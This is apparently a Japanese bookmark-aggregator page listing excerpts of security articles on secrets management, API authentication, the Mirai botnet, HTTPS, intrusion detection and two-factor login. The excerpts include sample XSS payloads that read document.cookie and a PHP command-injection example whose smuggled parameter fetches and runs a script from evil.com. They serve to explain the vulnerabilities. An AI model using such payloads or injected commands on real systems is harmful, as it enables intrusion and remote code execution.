Vulnerability RemediationAutomated and Manual Vuln Sync and Remediation
※ 弊社 feedforce で毎週行っている、インフラ共有会を元にした記事で す。AWS で Rails を使っている方を想定していますが、数人規模のチー ムを意識した内容になっています。 こちらの記事で yaml_vault を知ったので、実際に試してみました。 yaml_vault+KMSでRailsアプリのconfig/secrets.ymlを暗号化してgitにコミットして管理する - Qiita 環境変数つらい# SaaS の API Key などの秘匿情報をコードに埋め込まないために、Rails で dotenv を使っている方も多いかと思います。 しかし、README.md にあるように 作者の @bkeepers さんは production での利用は奨励していません。 dotenv was originally created to load configuration
マイクロサービスアーキテクチャが話題を集め、コンポーネントのWeb API化が更なる急加速を見せる昨今。 とは言え「誰でも自由に叩いて良い」Web APIなんてのは事実上無く、ほぼ全てのケースで何かしらのアクセス制御が必要になります。 - Spring Security もサポートする昔ながらの「Basic認証」。古い、ということは、悪いソリューションなのか? - 最近のAPIのアクセス制御と言えば「OAuth 2.0」がトレンディ? Spring Security OAuth もあるし! - 一方でAWSは「APIキー方式」を採用。なぜAWSはOAuth2ではないのか? - Spring Security はまだ公式にサポートしていない「OpenID Connect」とは一体…? Webにおけるアクセス制御の歴史を振り返りつつ、様々なAPIの立ち位置と共に、その最適解を探っていきたいと思
Miraiボットネットとは Miraiは、2016年9月13日夜、米国のセキュリティジャーナリストBrian Krebs氏のWebサイト「Krebs on Security」に対して行われた大規模なDDoS攻撃に使用されたとして話題になったボットネットです(関連記事)。Miraiは主にWebカメラやルーター、デジタルビデオレコーダーなどのIoTデバイスを踏み台としてDDoS攻撃を仕掛けます。 参考:セキュリティ用語事典:DDoS攻撃 攻撃を受けた後に投稿されたKrebs氏のブログ記事によれば、同サイトを保護していたAkamaiが、ピーク時にはそれまでに経験した最大規模の攻撃の2倍近いトラフィックを観測したそうです。 また、2016年10月21日にTwitterやNetflixなどが利用するDNSサービスへ行われたDDoS攻撃でも、Miraiボットネットが利用されていたのではないかと推定され
クロスサイトスクリプティングに関しては クロスサイトスクリプティング脆弱性とその対策の要領 あたりを参照して下さい。 攻撃手法 リクエストパラメータに以下が含まれるような形でサイトにアクセスしてみます。 javascript:alert(document.cookie) <script>alert(document.cookie)</script> <<script>alert(document.cookie);//<</script> エスケープ処理を適切に行う等、クロスサイトスクリプティング対策が行われていれば問題ありませんが、上記 javascript コードがそのまま (javascriptとして) 出力されてしまうような作りの場合にはクロスサイトスクリプティング脆弱性があるアプリケーションという事になります。 javascript コードがそのまま出力/実行されてしまった場合、ク
このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。 OSコマンドインジェクションとは OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。 下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。 $param = $_GET['param']; system("myprog $param"); $paramとして ; wget http://evil.com/bad.php ; php bad.php を指定されると、system関数で実行するコマンドは下記となります。 myprog ; wget http://evil.com/ba
This webpage was generated by the domain owner using Sedo Domain Parking. Disclaimer: Sedo maintains no relationship with third party advertisers. Reference to any specific service or trade mark is not controlled by Sedo nor does it constitute or imply its association, endorsement or recommendation.
4月18日(米国時間)、Threatpostに掲載された記事「New MIT Scanner Finds Web App Flaws in a Minute|Threatpost|The first stop for security news」が、元MITの学生によって開発されたセキュリティスキャナがWebアプリケーションの脆弱性を発見するための有益だと伝えた。このツールはSpaceと呼ばれており、今年5月に開催が予定されているInternational Conference on Software Engineering (ICSE)で公開される見通しだ。 Spaceを開発した元MITの学生は現在はバークレーで研究員として働いていると説明がある。SpaceとさらにMITで開発されたセキュリティツール「Alloy」および「Derailer」を組み合わせるとより効率よくWebアプリケーショ
こんにちは、技術部の福森 (@sora_h) です。 最近は環境変数に API トークンや credential といった認証情報を入れる事が増えてきています。 たとえば、AWS を利用するツールでは AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY といった環境変数にだいたいの場合で対応しています。 そのため、~/.bashrc や ~/.zshrc などシェルの設定に export を書いておき常に使える状態にしている方も多いと思いますが、 それって実は危険ではないでしょうか? 例えば、下記のようなリスクが考えられます: 意図せず情報が利用されて意図しない副作用が発生してしまう危険性 本番に変更を与えるつもりはなかったけれど事故を起こしてしまう等 悪意のあるスクリプトを実行した際に環境変数を送信などされてしまう危険性 事故や漏洩を防ぐためにも、筆者はかな
数年前、Webは全体的に暗号化されていませんでした。HTTPSはWebページの最も重要な部分だけのために確保されていました。暗号化が必要なのは大切なユーザデータだけで、Webページの公開される部分は暗号化せずに送ってもいいということで意見が一致していました。 しかし、 今は 状況 が 違います 。現在では、どんなWebトラフィックでも暗号化されていないのは良くないということが分かっているので、Webサイトを運営する誰もがコンテンツに関係なく強固なHTTPSを設定しなければなりません。 お恥ずかしい話ですが、私自身のWebサイトは2年近くも全くHTTPSをサポートしていませんでした ^(1) 。 Eric Mill の 今すぐ無料でHTTPSに切り替えよう という素晴らしい記事が最終的に私に喝を入れてくれました。私は休暇中、HTTPSをセットアップして Qualys SSL Report で
インフラストラクチャー部の星 (@kani_b) です。 Heartbleed, ShellShock, XSA-108 (a.k.a. EC2 インスタンス再起動祭), POODLE など、今年は話題となるような脆弱性が各地を襲う一年でした。 脆弱性への対応に加え、いわゆるセキュリティ対策に日頃頭を悩ませている方も多いのではないかと思います。 一言にセキュリティ対策と言っても、実際やるべきことは多岐にわたります。今回はそのうちの一つとして、OSSEC という IDS (侵入検知システム) を使ったセキュリティログ監視についてご紹介します。 OSSEC とは OSSEC は、いわゆるホスト型の IDS (HIDS) です。以下のような機能を持っています。 ログ解析、監視 ファイルの変更監視 rootkit の検知 それらをトリガにしたプログラムの自動実行 (Active Response)
このブログを読んでいる人なら Google や AWS の 2 段階認証(マルチファクタ認証)を有効にしていると思います。もしパスワードが漏れてしまってもワンタイムパスワードを入力しないと認証されないので安心です。 有名どころのサービスでは使えるところが増えてきましたが、2 段階認証を有効にしていれば万全なのでしょうか。エンジニアである以上、その仕組みを理解したうえで自信を持って安全と言いたいところ。 というわけで、2 段階認証は本当に安全なのか仕様を紐解きながら調べてみました。 ワンタイムパスワードの仕様 ワンタイムパスワードを生成する仕様は HOTP と TOTP の 2 つがあり、RFC の仕様になっています(TOTP はドラフト段階)。 HOTP (HMAC-Based One-Time Password Algorithm) TOTP (Time-Based One-Time P
■ [Linux] SSHの認証でワンタイムパスワードを使う(導入編) 最近、様々なサービスでRFC 4226とRFC 6238で定義されているワンタイムパスワードが利用されるようになってきている。このワンタイムパスワードを、SSHでLinuxにログインする際に使えるということを知ったので、試したみた。対応しているOpenSSHは、6.2以降となる。 参考 OpenSSH 6.2 adds support for two-factor authentication なお、今回はAmazon Linux 2014.03を対象とする。 Google Authenticatorをインストールする Google Authenticatorは、PAMモジュールとして使えるものが提供されているので、そちらをインストールする。Amazon Linuxの場合は、なんとパッケージが用意されているので、yum
少人数でサービス開発をしていると、サーバーのアカウント管理を疎かにしてしまいがちです。良くないことだとわかっていながらも、共用ユーザーのログイン情報を数人で共有していたりだとか、rootばかり使っているなんてこともあるのではないでしょうか。 それだとオペレーターが増えたり、退職者がでたりした時に困ることになるので、最初からルールと仕組みを決めておいた方がトータルで楽になります。 前提 パスワードやログイン鍵の共用、ダメ!絶対! rootを常用するの(・A・)イクナイ!! パスワードやログイン鍵を共用していると、人数が増えた時に誰が作業しているのか把握するのが大変になりますし、退職者が出た時に一斉変更をせざるを得なくなって混乱してしまいます。逆に一部のスタッフを別扱いして権限を制限したユーザーをアドホックに作ったりしてしまうのも管理が煩雑になります。じゃあどうすればよいかというと、個人ごとに
SSH Communications Securityは7月30日(米国時間)、システムをスキャンしてSSH関連のリスクについて報告するツール「SSH Risk Assessor」の一般公開を開始した。SSH Risk Assessorはセキュリティ担当者や外部の監査役が大企業におけるITセキュリティの危険性や問題を調査するといった利用が想定されている。ソフトウェアは無料でダウンロードして利用でき、ダウンロードにはユーザ登録が必要。 sshは現在のITシステムの管理には欠かすことができないツール。sshを経由した遠隔操作や管理は管理業務の自動化において重要な役割を担っている。sshそのもののセキュリティは堅牢だが、利便性を優先してプライベート鍵を共有していたり、パスフレーズを付けずに鍵を生成して使っているなど、セキュリティ的に適切な運用を検討すべき状態になっていることは少なくない。「SSH
なぜGoogleはJSONの先頭に while(1); をつけるのか #JavaScript #HTML #Ajax #StackOverflow - Qiita これはクロスサイト・リクエスト・フォージェリ対策。違うよ!全然違うよ! 攻撃者の作成した罠ページにてJSONを<script src="target.json">みたいに読み込んで、ゴニョゴニョやることでJSON内の機密情報に攻撃者がアクセス可能というのは合ってるけど、それを「クロスサイト・リクエスト・フォージェリ」とは言わない。無理に何か名前をつけて呼ぶとすれば、「JSON Hijacking」という俗称や、あるいは単純にクロスサイトでの情報漏えい、程度ですかね。 ちなみに、ArrayコンストラクタやObjectでのアクセサを定義してJSONをJSとして読み込んで内部にアクセスする手法は、現在のところ公にされているところでは古
完全に釣りタイトルですけど中身は真面目に書くよ。 近年、ウェブサイトのHTTPS化が流行のようになっている。私の知る限り、Googleの各種サービスやTwitter、Facebookなどが完全にHTTPSで通信を行うようになっている。HTTPS、つまりSSLによる通信の暗号化によって、ユーザにこれまでよりも安全なウェブサイトを提供できる。 しかし、あなたが作っているサイトをふと思いつきでHTTPS化してしまうと、たぶん、これまでよりもサイトが遅くなる。ここでは、HTTPSで通信する場合の問題を解説する。 なぜ遅くなるのか HTTPで通信する場合、クライアントがサーバへと接続するためにはTCP/IPの3ウェイハンドシェイクという手順が必要になる。めんどくさいのでここでは詳しくは説明しないが、要するにクライアントがリクエストを投げる前にパケットを1往復させないといけないのである。パケットの往復
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く